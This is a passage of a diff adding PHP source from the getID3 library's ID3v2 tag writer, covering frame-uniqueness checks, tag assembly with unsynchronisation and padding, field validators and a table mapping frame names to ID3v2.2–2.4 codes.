Description ('.$source_data_array['language'].' + '.$source_data_array['description'].')'; + } else { + $PreviousFrames[] = $frame_name.$source_data_array['language'].$source_data_array['description']; + } + break; + + case 'POPM': + if (!isset($source_data_array['email'])) { + $this->errors[] = '[email] not specified for '.$frame_name; + } elseif (in_array($frame_name.$source_data_array['email'], $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Email ('.$source_data_array['email'].')'; + } else { + $PreviousFrames[] = $frame_name.$source_data_array['email']; + } + break; + + case 'IPLS': + case 'MCDI': + case 'ETCO': + case 'MLLT': + case 'SYTC': + case 'RVAD': + case 'EQUA': + case 'RVRB': + case 'PCNT': + case 'RBUF': + case 'POSS': + case 'OWNE': + case 'RGAD': + if (in_array($frame_name, $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed'; + } else { + $PreviousFrames[] = $frame_name; + } + break; + + case 'LINK': + // this isn't implemented quite right (yet) - it should check the target frame data for compliance + // but right now it just allows one linked frame of each type, to be safe. + if (!isset($source_data_array['frameid'])) { + $this->errors[] = '[frameid] not specified for '.$frame_name; + } elseif (in_array($frame_name.$source_data_array['frameid'], $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same FrameID ('.$source_data_array['frameid'].')'; + } elseif (in_array($source_data_array['frameid'], $PreviousFrames)) { + // no links to singleton tags + $this->errors[] = 'Cannot specify a '.$frame_name.' tag to a singleton tag that already exists ('.$source_data_array['frameid'].')'; + } else { + $PreviousFrames[] = $frame_name.$source_data_array['frameid']; // only one linked tag of this type + $PreviousFrames[] = $source_data_array['frameid']; // no non-linked singleton tags of this type + } + break; + + case 'COMR': + // There may be more than one 'commercial frame' in a tag, but no two may be identical + // Checking isn't implemented at all (yet) - just assumes that it's OK. + break; + + case 'PRIV': + if (!isset($source_data_array['ownerid'])) { + $this->errors[] = '[ownerid] not specified for '.$frame_name; + } elseif (!isset($source_data_array['data'])) { + $this->errors[] = '[data] not specified for '.$frame_name; + } elseif (in_array($frame_name.$source_data_array['ownerid'].$source_data_array['data'], $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same OwnerID + Data ('.$source_data_array['ownerid'].' + '.$source_data_array['data'].')'; + } else { + $PreviousFrames[] = $frame_name.$source_data_array['ownerid'].$source_data_array['data']; + } + break; + + default: + if (($frame_name[0] != 'T') && ($frame_name[0] != 'W')) { + $this->errors[] = 'Frame not allowed in ID3v2.'.$this->majorversion.': '.$frame_name; + } + break; + } + + } elseif ($this->majorversion == 2) { + + switch ($frame_name) { + case 'UFI': + case 'CRM': + case 'CRA': + if (!isset($source_data_array['ownerid'])) { + $this->errors[] = '[ownerid] not specified for '.$frame_name; + } elseif (in_array($frame_name.$source_data_array['ownerid'], $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same OwnerID ('.$source_data_array['ownerid'].')'; + } else { + $PreviousFrames[] = $frame_name.$source_data_array['ownerid']; + } + break; + + case 'TXX': + case 'WXX': + case 'PIC': + case 'GEO': + if (!isset($source_data_array['description'])) { + $this->errors[] = '[description] not specified for '.$frame_name; + } elseif (in_array($frame_name.$source_data_array['description'], $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Description ('.$source_data_array['description'].')'; + } else { + $PreviousFrames[] = $frame_name.$source_data_array['description']; + } + break; + + case 'ULT': + case 'SLT': + case 'COM': + if (!isset($source_data_array['language'])) { + $this->errors[] = '[language] not specified for '.$frame_name; + } elseif (!isset($source_data_array['description'])) { + $this->errors[] = '[description] not specified for '.$frame_name; + } elseif (in_array($frame_name.$source_data_array['language'].$source_data_array['description'], $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Language + Description ('.$source_data_array['language'].' + '.$source_data_array['description'].')'; + } else { + $PreviousFrames[] = $frame_name.$source_data_array['language'].$source_data_array['description']; + } + break; + + case 'POP': + if (!isset($source_data_array['email'])) { + $this->errors[] = '[email] not specified for '.$frame_name; + } elseif (in_array($frame_name.$source_data_array['email'], $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Email ('.$source_data_array['email'].')'; + } else { + $PreviousFrames[] = $frame_name.$source_data_array['email']; + } + break; + + case 'IPL': + case 'MCI': + case 'ETC': + case 'MLL': + case 'STC': + case 'RVA': + case 'EQU': + case 'REV': + case 'CNT': + case 'BUF': + if (in_array($frame_name, $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed'; + } else { + $PreviousFrames[] = $frame_name; + } + break; + + case 'LNK': + // this isn't implemented quite right (yet) - it should check the target frame data for compliance + // but right now it just allows one linked frame of each type, to be safe. + if (!isset($source_data_array['frameid'])) { + $this->errors[] = '[frameid] not specified for '.$frame_name; + } elseif (in_array($frame_name.$source_data_array['frameid'], $PreviousFrames)) { + $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same FrameID ('.$source_data_array['frameid'].')'; + } elseif (in_array($source_data_array['frameid'], $PreviousFrames)) { + // no links to singleton tags + $this->errors[] = 'Cannot specify a '.$frame_name.' tag to a singleton tag that already exists ('.$source_data_array['frameid'].')'; + } else { + $PreviousFrames[] = $frame_name.$source_data_array['frameid']; // only one linked tag of this type + $PreviousFrames[] = $source_data_array['frameid']; // no non-linked singleton tags of this type + } + break; + + default: + if (($frame_name[0] != 'T') && ($frame_name[0] != 'W')) { + $this->errors[] = 'Frame not allowed in ID3v2.'.$this->majorversion.': '.$frame_name; + } + break; + } + } + + if (!empty($this->errors)) { + return false; + } + return true; + } + + /** + * @param bool $noerrorsonly + * + * @return string|false + */ + public function GenerateID3v2Tag($noerrorsonly=true) { + $this->ID3v2FrameIsAllowed(null, ''); // clear static array in case this isn't the first call to $this->GenerateID3v2Tag() + + $tagstring = ''; + if (is_array($this->tag_data)) { + foreach ($this->tag_data as $frame_name => $frame_rawinputdata) { + foreach ($frame_rawinputdata as $irrelevantindex => $source_data_array) { + if (getid3_id3v2::IsValidID3v2FrameName($frame_name, $this->majorversion)) { + unset($frame_length); + unset($frame_flags); + $frame_data = false; + if ($this->ID3v2FrameIsAllowed($frame_name, $source_data_array)) { + if(array_key_exists('description', $source_data_array) && array_key_exists('encodingid', $source_data_array) && array_key_exists('encoding', $this->tag_data)) { + $source_data_array['description'] = getid3_lib::iconv_fallback($this->tag_data['encoding'], $source_data_array['encoding'], $source_data_array['description']); + } + if ($frame_data = $this->GenerateID3v2FrameData($frame_name, $source_data_array)) { + $FrameUnsynchronisation = false; + if ($this->majorversion >= 4) { + // frame-level unsynchronisation + $unsynchdata = $frame_data; + if ($this->id3v2_use_unsynchronisation) { + $unsynchdata = $this->Unsynchronise($frame_data); + } + if (strlen($unsynchdata) != strlen($frame_data)) { + // unsynchronisation needed + $FrameUnsynchronisation = true; + $frame_data = $unsynchdata; + if (isset($TagUnsynchronisation) && $TagUnsynchronisation === false) { + // only set to true if ALL frames are unsynchronised + } else { + $TagUnsynchronisation = true; + } + } else { + if (isset($TagUnsynchronisation)) { + $TagUnsynchronisation = false; + } + } + unset($unsynchdata); + + $frame_length = getid3_lib::BigEndian2String(strlen($frame_data), 4, true); + } else { + $frame_length = getid3_lib::BigEndian2String(strlen($frame_data), 4, false); + } + $frame_flags = $this->GenerateID3v2FrameFlags($this->ID3v2FrameFlagsLookupTagAlter($frame_name), $this->ID3v2FrameFlagsLookupFileAlter($frame_name), false, false, false, false, $FrameUnsynchronisation, false); + } + } else { + $this->errors[] = 'Frame "'.$frame_name.'" is NOT allowed'; + } + if ($frame_data === false) { + $this->errors[] = '$this->GenerateID3v2FrameData() failed for "'.$frame_name.'"'; + if ($noerrorsonly) { + return false; + } else { + $frame_name = null; + } + } + } else { + // ignore any invalid frame names, including 'title', 'header', etc + $this->warnings[] = 'Ignoring invalid ID3v2 frame type: "'.$frame_name.'"'; + $frame_name = null; + unset($frame_length); + unset($frame_flags); + unset($frame_data); + } + if (null !== $frame_name && isset($frame_length) && isset($frame_flags) && isset($frame_data)) { + $tagstring .= $frame_name.$frame_length.$frame_flags.$frame_data; + } + } + } + + if (!isset($TagUnsynchronisation)) { + $TagUnsynchronisation = false; + } + if (($this->majorversion <= 3) && $this->id3v2_use_unsynchronisation) { + // tag-level unsynchronisation + $unsynchdata = $this->Unsynchronise($tagstring); + if (strlen($unsynchdata) != strlen($tagstring)) { + // unsynchronisation needed + $TagUnsynchronisation = true; + $tagstring = $unsynchdata; + } + } + + while ($this->paddedlength < (strlen($tagstring) + getid3_id3v2::ID3v2HeaderLength($this->majorversion))) { + $this->paddedlength += 1024; + } + + $footer = false; // ID3v2 footers not yet supported in getID3() + if (/*!$footer && */($this->paddedlength > (strlen($tagstring) + getid3_id3v2::ID3v2HeaderLength($this->majorversion)))) { + // pad up to $paddedlength bytes if unpadded tag is shorter than $paddedlength + // "Furthermore it MUST NOT have any padding when a tag footer is added to the tag." + if (($this->paddedlength - strlen($tagstring) - getid3_id3v2::ID3v2HeaderLength($this->majorversion)) > 0) { + $tagstring .= str_repeat("\x00", $this->paddedlength - strlen($tagstring) - getid3_id3v2::ID3v2HeaderLength($this->majorversion)); + } + } + if ($this->id3v2_use_unsynchronisation && (substr($tagstring, strlen($tagstring) - 1, 1) == "\xFF")) { + // special unsynchronisation case: + // if last byte == $FF then appended a $00 + $TagUnsynchronisation = true; + $tagstring .= "\x00"; + } + + $tagheader = 'ID3'; + $tagheader .= chr($this->majorversion); + $tagheader .= chr($this->minorversion); + $tagheader .= $this->GenerateID3v2TagFlags(array('unsynchronisation'=>$TagUnsynchronisation)); + $tagheader .= getid3_lib::BigEndian2String(strlen($tagstring), 4, true); + + return $tagheader.$tagstring; + } + $this->errors[] = 'tag_data is not an array in GenerateID3v2Tag()'; + return false; + } + + /** + * @param string $pricestring + * + * @return bool + */ + public function ID3v2IsValidPriceString($pricestring) { + if (getid3_id3v2::LanguageLookup(substr($pricestring, 0, 3), true) == '') { + return false; + } elseif (!getid3_id3v2::IsANumber(substr($pricestring, 3), true)) { + return false; + } + return true; + } + + /** + * @param string $framename + * + * @return bool + */ + public function ID3v2FrameFlagsLookupTagAlter($framename) { + // unfinished + switch ($framename) { + case 'RGAD': + $allow = true; + break; + default: + $allow = false; + break; + } + return $allow; + } + + /** + * @param string $framename + * + * @return bool + */ + public function ID3v2FrameFlagsLookupFileAlter($framename) { + // unfinished + switch ($framename) { + case 'RGAD': + return false; + + default: + return false; + } + } + + /** + * @param int $eventid + * + * @return bool + */ + public function ID3v2IsValidETCOevent($eventid) { + if (($eventid < 0) || ($eventid > 0xFF)) { + // outside range of 1 byte + return false; + } elseif (($eventid >= 0xF0) && ($eventid <= 0xFC)) { + // reserved for future use + return false; + } elseif (($eventid >= 0x17) && ($eventid <= 0xDF)) { + // reserved for future use + return false; + } elseif (($eventid >= 0x0E) && ($eventid <= 0x16) && ($this->majorversion == 2)) { + // not defined in ID3v2.2 + return false; + } elseif (($eventid >= 0x15) && ($eventid <= 0x16) && ($this->majorversion == 3)) { + // not defined in ID3v2.3 + return false; + } + return true; + } + + /** + * @param int $contenttype + * + * @return bool + */ + public function ID3v2IsValidSYLTtype($contenttype) { + if (($contenttype >= 0) && ($contenttype <= 8) && ($this->majorversion == 4)) { + return true; + } elseif (($contenttype >= 0) && ($contenttype <= 6) && ($this->majorversion == 3)) { + return true; + } + return false; + } + + /** + * @param int $channeltype + * + * @return bool + */ + public function ID3v2IsValidRVA2channeltype($channeltype) { + if (($channeltype >= 0) && ($channeltype <= 8) && ($this->majorversion == 4)) { + return true; + } + return false; + } + + /** + * @param int $picturetype + * + * @return bool + */ + public function ID3v2IsValidAPICpicturetype($picturetype) { + if (($picturetype >= 0) && ($picturetype <= 0x14) && ($this->majorversion >= 2) && ($this->majorversion <= 4)) { + return true; + } + return false; + } + + /** + * @param int|string $imageformat + * + * @return bool + */ + public function ID3v2IsValidAPICimageformat($imageformat) { + if ($imageformat == '-->') { + return true; + } elseif ($this->majorversion == 2) { + if ((strlen($imageformat) == 3) && ($imageformat == strtoupper($imageformat))) { + return true; + } + } elseif (($this->majorversion == 3) || ($this->majorversion == 4)) { + if ($this->IsValidMIMEstring($imageformat)) { + return true; + } + } + return false; + } + + /** + * @param int $receivedas + * + * @return bool + */ + public function ID3v2IsValidCOMRreceivedAs($receivedas) { + if (($this->majorversion >= 3) && ($receivedas >= 0) && ($receivedas <= 8)) { + return true; + } + return false; + } + + /** + * @param int $RGADname + * + * @return bool + */ + public static function ID3v2IsValidRGADname($RGADname) { + if (($RGADname >= 0) && ($RGADname <= 2)) { + return true; + } + return false; + } + + /** + * @param int $RGADoriginator + * + * @return bool + */ + public static function ID3v2IsValidRGADoriginator($RGADoriginator) { + if (($RGADoriginator >= 0) && ($RGADoriginator <= 3)) { + return true; + } + return false; + } + + /** + * @param int $textencodingbyte + * + * @return bool + */ + public function ID3v2IsValidTextEncoding($textencodingbyte) { + // 0 = ISO-8859-1 + // 1 = UTF-16 with BOM + // 2 = UTF-16BE without BOM + // 3 = UTF-8 + static $ID3v2IsValidTextEncoding_cache = array( + 2 => array(true, true), // ID3v2.2 - allow 0=ISO-8859-1, 1=UTF-16 + 3 => array(true, true), // ID3v2.3 - allow 0=ISO-8859-1, 1=UTF-16 + 4 => array(true, true, true, true), // ID3v2.4 - allow 0=ISO-8859-1, 1=UTF-16, 2=UTF-16BE, 3=UTF-8 + ); + return isset($ID3v2IsValidTextEncoding_cache[$this->majorversion][$textencodingbyte]); + } + + /** + * @param string $data + * + * @return string + */ + public static function Unsynchronise($data) { + // Whenever a false synchronisation is found within the tag, one zeroed + // byte is inserted after the first false synchronisation byte. The + // format of a correct sync that should be altered by ID3 encoders is as + // follows: + // %11111111 111xxxxx + // And should be replaced with: + // %11111111 00000000 111xxxxx + // This has the side effect that all $FF 00 combinations have to be + // altered, so they won't be affected by the decoding process. Therefore + // all the $FF 00 combinations have to be replaced with the $FF 00 00 + // combination during the unsynchronisation. + + $data = str_replace("\xFF\x00", "\xFF\x00\x00", $data); + $unsyncheddata = ''; + $datalength = strlen($data); + for ($i = 0; $i < $datalength; $i++) { + $thischar = $data[$i]; + $unsyncheddata .= $thischar; + if ($thischar == "\xFF") { + $nextchar = ord($data[$i + 1]); + if (($nextchar & 0xE0) == 0xE0) { + // previous byte = 11111111, this byte = 111????? + $unsyncheddata .= "\x00"; + } + } + } + return $unsyncheddata; + } + + /** + * @param mixed $var + * + * @return bool + */ + public function is_hash($var) { + // written by dev-nullØchristophe*vg + // taken from http://www.php.net/manual/en/function.array-merge-recursive.php + if (is_array($var)) { + $keys = array_keys($var); + $all_num = true; + foreach ($keys as $key) { + if (is_string($key)) { + return true; + } + } + } + return false; + } + + /** + * @param mixed $arr1 + * @param mixed $arr2 + * + * @return array + */ + public function array_join_merge($arr1, $arr2) { + // written by dev-nullØchristophe*vg + // taken from http://www.php.net/manual/en/function.array-merge-recursive.php + if (is_array($arr1) && is_array($arr2)) { + // the same -> merge + $new_array = array(); + + if ($this->is_hash($arr1) && $this->is_hash($arr2)) { + // hashes -> merge based on keys + $keys = array_merge(array_keys($arr1), array_keys($arr2)); + foreach ($keys as $key) { + $new_array[$key] = $this->array_join_merge((isset($arr1[$key]) ? $arr1[$key] : ''), (isset($arr2[$key]) ? $arr2[$key] : '')); + } + } else { + // two real arrays -> merge + $new_array = array_reverse(array_unique(array_reverse(array_merge($arr1, $arr2)))); + } + return $new_array; + } else { + // not the same ... take new one if defined, else the old one stays + return $arr2 ? $arr2 : $arr1; + } + } + + /** + * @param string $mimestring + * + * @return false|int + */ + public static function IsValidMIMEstring($mimestring) { + return preg_match('#^.+/.+$#', $mimestring); + } + + /** + * @param int $number + * @param int $maxbits + * @param bool $signed + * + * @return bool + */ + public static function IsWithinBitRange($number, $maxbits, $signed=false) { + if ($signed) { + if (($number > (0 - pow(2, $maxbits - 1))) && ($number <= pow(2, $maxbits - 1))) { + return true; + } + } else { + if (($number >= 0) && ($number <= pow(2, $maxbits))) { + return true; + } + } + return false; + } + + /** + * @param string $email + * + * @return false|int|mixed + */ + public static function IsValidEmail($email) { + if (function_exists('filter_var')) { + return filter_var($email, FILTER_VALIDATE_EMAIL); + } + // VERY crude email validation + return preg_match('#^[^ ]+@[a-z\\-\\.]+\\.[a-z]{2,}$#', $email); + } + + /** + * @param string $url + * @param bool $allowUserPass + * + * @return bool + */ + public static function IsValidURL($url, $allowUserPass=false) { + if ($url == '') { + return false; + } + if ($allowUserPass !== true) { + if (strstr($url, '@')) { + // in the format http://user:pass@example.com or http://user@example.com + // but could easily be somebody incorrectly entering an email address in place of a URL + return false; + } + } + // 2016-06-08: relax URL checking to avoid falsely rejecting valid URLs, leave URL validation to the user + // https://www.getid3.org/phpBB3/viewtopic.php?t=1926 + return true; + /* + if ($parts = $this->safe_parse_url($url)) { + if (($parts['scheme'] != 'http') && ($parts['scheme'] != 'https') && ($parts['scheme'] != 'ftp') && ($parts['scheme'] != 'gopher')) { + return false; + } elseif (!preg_match('#^[[:alnum:]]([-.]?[0-9a-z])*\\.[a-z]{2,3}$#i', $parts['host'], $regs) && !preg_match('#^[0-9]{1,3}(\\.[0-9]{1,3}){3}$#', $parts['host'])) { + return false; + } elseif (!preg_match('#^([[:alnum:]-]|[\\_])*$#i', $parts['user'], $regs)) { + return false; + } elseif (!preg_match('#^([[:alnum:]-]|[\\_])*$#i', $parts['pass'], $regs)) { + return false; + } elseif (!preg_match('#^[[:alnum:]/_\\.@~-]*$#i', $parts['path'], $regs)) { + return false; + } elseif (!empty($parts['query']) && !preg_match('#^[[:alnum:]?&=+:;_()%\\#/,\\.-]*$#i', $parts['query'], $regs)) { + return false; + } else { + return true; + } + } + return false; + */ + } + + /** + * @param string $url + * + * @return array + */ + public static function safe_parse_url($url) { + $parts = @parse_url($url); + $parts['scheme'] = (isset($parts['scheme']) ? $parts['scheme'] : ''); + $parts['host'] = (isset($parts['host']) ? $parts['host'] : ''); + $parts['user'] = (isset($parts['user']) ? $parts['user'] : ''); + $parts['pass'] = (isset($parts['pass']) ? $parts['pass'] : ''); + $parts['path'] = (isset($parts['path']) ? $parts['path'] : ''); + $parts['query'] = (isset($parts['query']) ? $parts['query'] : ''); + return $parts; + } + + /** + * @param int $majorversion + * @param string $long_description + * + * @return string + */ + public static function ID3v2ShortFrameNameLookup($majorversion, $long_description) { + $long_description = str_replace(' ', '_', strtolower(trim($long_description))); + static $ID3v2ShortFrameNameLookup = array(); + if (empty($ID3v2ShortFrameNameLookup)) { + + // The following are unique to ID3v2.2 + $ID3v2ShortFrameNameLookup[2]['recommended_buffer_size'] = 'BUF'; + $ID3v2ShortFrameNameLookup[2]['comment'] = 'COM'; + $ID3v2ShortFrameNameLookup[2]['audio_encryption'] = 'CRA'; + $ID3v2ShortFrameNameLookup[2]['encrypted_meta_frame'] = 'CRM'; + $ID3v2ShortFrameNameLookup[2]['equalisation'] = 'EQU'; + $ID3v2ShortFrameNameLookup[2]['event_timing_codes'] = 'ETC'; + $ID3v2ShortFrameNameLookup[2]['general_encapsulated_object'] = 'GEO'; + $ID3v2ShortFrameNameLookup[2]['involved_people_list'] = 'IPL'; + $ID3v2ShortFrameNameLookup[2]['linked_information'] = 'LNK'; + $ID3v2ShortFrameNameLookup[2]['music_cd_identifier'] = 'MCI'; + $ID3v2ShortFrameNameLookup[2]['mpeg_location_lookup_table'] = 'MLL'; + $ID3v2ShortFrameNameLookup[2]['attached_picture'] = 'PIC'; + $ID3v2ShortFrameNameLookup[2]['popularimeter'] = 'POP'; + $ID3v2ShortFrameNameLookup[2]['reverb'] = 'REV'; + $ID3v2ShortFrameNameLookup[2]['relative_volume_adjustment'] = 'RVA'; + $ID3v2ShortFrameNameLookup[2]['synchronised_lyric'] = 'SLT'; + $ID3v2ShortFrameNameLookup[2]['synchronised_tempo_codes'] = 'STC'; + $ID3v2ShortFrameNameLookup[2]['album'] = 'TAL'; + $ID3v2ShortFrameNameLookup[2]['beats_per_minute'] = 'TBP'; + $ID3v2ShortFrameNameLookup[2]['bpm'] = 'TBP'; + $ID3v2ShortFrameNameLookup[2]['composer'] = 'TCM'; + $ID3v2ShortFrameNameLookup[2]['genre'] = 'TCO'; + $ID3v2ShortFrameNameLookup[2]['part_of_a_compilation'] = 'TCP'; + $ID3v2ShortFrameNameLookup[2]['copyright_message'] = 'TCR'; + $ID3v2ShortFrameNameLookup[2]['date'] = 'TDA'; + $ID3v2ShortFrameNameLookup[2]['playlist_delay'] = 'TDY'; + $ID3v2ShortFrameNameLookup[2]['encoded_by'] = 'TEN'; + $ID3v2ShortFrameNameLookup[2]['file_type'] = 'TFT'; + $ID3v2ShortFrameNameLookup[2]['time'] = 'TIM'; + $ID3v2ShortFrameNameLookup[2]['initial_key'] = 'TKE'; + $ID3v2ShortFrameNameLookup[2]['language'] = 'TLA'; + $ID3v2ShortFrameNameLookup[2]['length'] = 'TLE'; + $ID3v2ShortFrameNameLookup[2]['media_type'] = 'TMT'; + $ID3v2ShortFrameNameLookup[2]['original_artist'] = 'TOA'; + $ID3v2ShortFrameNameLookup[2]['original_filename'] = 'TOF'; + $ID3v2ShortFrameNameLookup[2]['original_lyricist'] = 'TOL'; + $ID3v2ShortFrameNameLookup[2]['original_year'] = 'TOR'; + $ID3v2ShortFrameNameLookup[2]['original_album'] = 'TOT'; + $ID3v2ShortFrameNameLookup[2]['artist'] = 'TP1'; + $ID3v2ShortFrameNameLookup[2]['band'] = 'TP2'; + $ID3v2ShortFrameNameLookup[2]['conductor'] = 'TP3'; + $ID3v2ShortFrameNameLookup[2]['remixer'] = 'TP4'; + $ID3v2ShortFrameNameLookup[2]['part_of_a_set'] = 'TPA'; + $ID3v2ShortFrameNameLookup[2]['publisher'] = 'TPB'; + $ID3v2ShortFrameNameLookup[2]['isrc'] = 'TRC'; + $ID3v2ShortFrameNameLookup[2]['recording_dates'] = 'TRD'; + $ID3v2ShortFrameNameLookup[2]['tracknumber'] = 'TRK'; + $ID3v2ShortFrameNameLookup[2]['track_number'] = 'TRK'; + $ID3v2ShortFrameNameLookup[2]['album_artist_sort_order'] = 'TS2'; + $ID3v2ShortFrameNameLookup[2]['album_sort_order'] = 'TSA'; + $ID3v2ShortFrameNameLookup[2]['composer_sort_order'] = 'TSC'; + $ID3v2ShortFrameNameLookup[2]['size'] = 'TSI'; + $ID3v2ShortFrameNameLookup[2]['performer_sort_order'] = 'TSP'; + $ID3v2ShortFrameNameLookup[2]['encoder_settings'] = 'TSS'; + $ID3v2ShortFrameNameLookup[2]['title_sort_order'] = 'TST'; + $ID3v2ShortFrameNameLookup[2]['content_group_description'] = 'TT1'; + $ID3v2ShortFrameNameLookup[2]['title'] = 'TT2'; + $ID3v2ShortFrameNameLookup[2]['subtitle'] = 'TT3'; + $ID3v2ShortFrameNameLookup[2]['lyricist'] = 'TXT'; + $ID3v2ShortFrameNameLookup[2]['text'] = 'TXX'; + $ID3v2ShortFrameNameLookup[2]['year'] = 'TYE'; + $ID3v2ShortFrameNameLookup[2]['unique_file_identifier'] = 'UFI'; + $ID3v2ShortFrameNameLookup[2]['unsynchronised_lyric'] = 'ULT'; + $ID3v2ShortFrameNameLookup[2]['url_file'] = 'WAF'; + $ID3v2ShortFrameNameLookup[2]['url_artist'] = 'WAR'; + $ID3v2ShortFrameNameLookup[2]['url_source'] = 'WAS'; + $ID3v2ShortFrameNameLookup[2]['commercial_information'] = 'WCM'; + $ID3v2ShortFrameNameLookup[2]['copyright'] = 'WCP'; + $ID3v2ShortFrameNameLookup[2]['url_publisher'] = 'WPB'; + $ID3v2ShortFrameNameLookup[2]['url_user'] = 'WXX'; + + // The following are common to ID3v2.3 and ID3v2.4 + $ID3v2ShortFrameNameLookup[3]['audio_encryption'] = 'AENC'; + $ID3v2ShortFrameNameLookup[3]['attached_picture'] = 'APIC'; + $ID3v2ShortFrameNameLookup[3]['picture'] = 'APIC'; + $ID3v2ShortFrameNameLookup[3]['comment'] = 'COMM'; + $ID3v2ShortFrameNameLookup[3]['commercial_frame'] = 'COMR'; + $ID3v2ShortFrameNameLookup[3]['encryption_method_registration'] = 'ENCR'; + $ID3v2ShortFrameNameLookup[3]['event_timing_codes'] = 'ETCO'; + $ID3v2ShortFrameNameLookup[3]['general_encapsulated_object'] = 'GEOB'; + $ID3v2ShortFrameNameLookup[3]['group_identification_registration'] = 'GRID'; + $ID3v2ShortFrameNameLookup[3]['linked_information'] = 'LINK'; + $ID3v2ShortFrameNameLookup[3]['music_cd_identifier'] = 'MCDI'; + $ID3v2ShortFrameNameLookup[3]['mpeg_location_lookup_table'] = 'MLLT'; + $ID3v2ShortFrameNameLookup[3]['ownership_frame'] = 'OWNE'; + $ID3v2ShortFrameNameLookup[3]['play_counter'] = 'PCNT'; + $ID3v2ShortFrameNameLookup[3]['popularimeter'] = 'POPM'; + $ID3v2ShortFrameNameLookup[3]['position_synchronisation_frame'] = 'POSS'; + $ID3v2ShortFrameNameLookup[3]['private_frame'] = 'PRIV'; + $ID3v2ShortFrameNameLookup[3]['recommended_buffer_size'] = 'RBUF'; + $ID3v2ShortFrameNameLookup[3]['replay_gain_adjustment'] = 'RGAD'; + $ID3v2ShortFrameNameLookup[3]['reverb'] = 'RVRB'; + $ID3v2ShortFrameNameLookup[3]['synchronised_lyric'] = 'SYLT'; + $ID3v2ShortFrameNameLookup[3]['synchronised_tempo_codes'] = 'SYTC'; + $ID3v2ShortFrameNameLookup[3]['album'] = 'TALB'; + $ID3v2ShortFrameNameLookup[3]['beats_per_minute'] = 'TBPM'; + $ID3v2ShortFrameNameLookup[3]['bpm'] = 'TBPM'; + $ID3v2ShortFrameNameLookup[3]['part_of_a_compilation'] = 'TCMP'; + $ID3v2ShortFrameNameLookup[3]['composer'] = 'TCOM'; + $ID3v2ShortFrameNameLookup[3]['genre'] = 'TCON'; + $ID3v2ShortFrameNameLookup[3]['copyright_message'] = 'TCOP'; + $ID3v2ShortFrameNameLookup[3]['playlist_delay'] = 'TDLY'; + $ID3v2ShortFrameNameLookup[3]['encoded_by'] = 'TENC'; + $ID3v2ShortFrameNameLookup[3]['lyricist'] = 'TEXT'; + $ID3v2ShortFrameNameLookup[3]['file_type'] = 'TFLT'; + $ID3v2ShortFrameNameLookup[3]['content_group_description'] = 'TIT1'; + $ID3v2ShortFrameNameLookup[3]['title'] = 'TIT2'; + $ID3v2ShortFrameNameLookup[3]['subtitle'] = 'TIT3'; + $ID3v2ShortFrameNameLookup[3]['initial_key'] = 'TKEY'; + $ID3v2ShortFrameNameLookup[3]['language'] = 'TLAN'; + $ID3v2ShortFrameNameLookup[3]['length'] = 'TLEN'; + $ID3v2ShortFrameNameLookup[3]['media_type'] = 'TMED'; + $ID3v2ShortFrameNameLookup[3]['original_album'] = 'TOAL'; + $ID3v2ShortFrameNameLookup[3]['original_filename'] = 'TOFN'; + $ID3v2ShortFrameNameLookup[3]['original_lyricist'] = 'TOLY'; + $ID3v2ShortFrameNameLookup[3]['original_artist'] = 'TOPE'; + $ID3v2ShortFrameNameLookup[3]['file_owner'] = 'TOWN'; + $ID3v2ShortFrameNameLookup[3]['artist'] = 'TPE1'; + $ID3v2ShortFrameNameLookup[3]['band'] = 'TPE2'; + $ID3v2ShortFrameNameLookup[3]['conductor'] = 'TPE3'; + $ID3v2ShortFrameNameLookup[3]['remixer'] = 'TPE4'; + $ID3v2ShortFrameNameLookup[3]['part_of_a_set'] = 'TPOS'; + $ID3v2ShortFrameNameLookup[3]['publisher'] = 'TPUB'; + $ID3v2ShortFrameNameLookup[3]['tracknumber'] = 'TRCK'; + $ID3v2ShortFrameNameLookup[3]['track_number'] = 'TRCK'; + $ID3v2ShortFrameNameLookup[3]['internet_radio_station_name'] = 'TRSN'; + $ID3v2ShortFrameNameLookup[3]['internet_radio_station_owner'] = 'TRSO'; + $ID3v2ShortFrameNameLookup[3]['album_artist_sort_order'] = 'TSO2'; + $ID3v2ShortFrameNameLookup[3]['album_sort_order'] = 'TSOA'; + $ID3v2ShortFrameNameLookup[3]['composer_sort_order'] = 'TSOC'; + $ID3v2ShortFrameNameLookup[3]['performer_sort_order'] = 'TSOP'; + $ID3v2ShortFrameNameLookup[3]['title_sort_order'] = 'TSOT'; + $ID3v2ShortFrameNameLookup[3]['isrc'] = 'TSRC'; + $ID3v2ShortFrameNameLookup[3]['encoder_settings'] = 'TSSE'; + $ID3v2ShortFrameNameLookup[3]['text'] = 'TXXX'; + $ID3v2ShortFrameNameLookup[3]['unique_file_identifier'] = 'UFID'; + $ID3v2ShortFrameNameLookup[3]['terms_of_use'] = 'USER'; + $ID3v2ShortFrameNameLookup[3]['unsynchronised_lyric'] = 'USLT'; + $ID3v2ShortFrameNameLookup[3]['commercial_information'] = 'WCOM'; + $ID3v2ShortFrameNameLookup[3]['copyright'] = 'WCOP'; + $ID3v2ShortFrameNameLookup[3]['url_file'] = 'WOAF'; + $ID3v2ShortFrameNameLookup[3]['url_artist'] = 'WOAR'; + $ID3v2ShortFrameNameLookup[3]['url_source'] = 'WOAS'; + $ID3v2ShortFrameNameLookup[3]['url_station'] = 'WORS'; + $ID3v2ShortFrameNameLookup[3]['url_payment'] = 'WPAY'; + $ID3v2ShortFrameNameLookup[3]['url_publisher'] = 'WPUB'; + $ID3v2ShortFrameNameLookup[3]['url_user'] = 'WXXX'; + + // The above are common to ID3v2.3 and ID3v2.4 + // so copy them to ID3v2.4 before adding specifics for 2.3 and 2.4 + $ID3v2ShortFrameNameLookup[4] = $ID3v2ShortFrameNameLookup[3]; + + // The following are unique to ID3v2.3 + $ID3v2ShortFrameNameLookup[3]['equalisation'] = 'EQUA'; + $ID3v2ShortFrameNameLookup[3]['involved_people_list'] = 'IPLS'; + 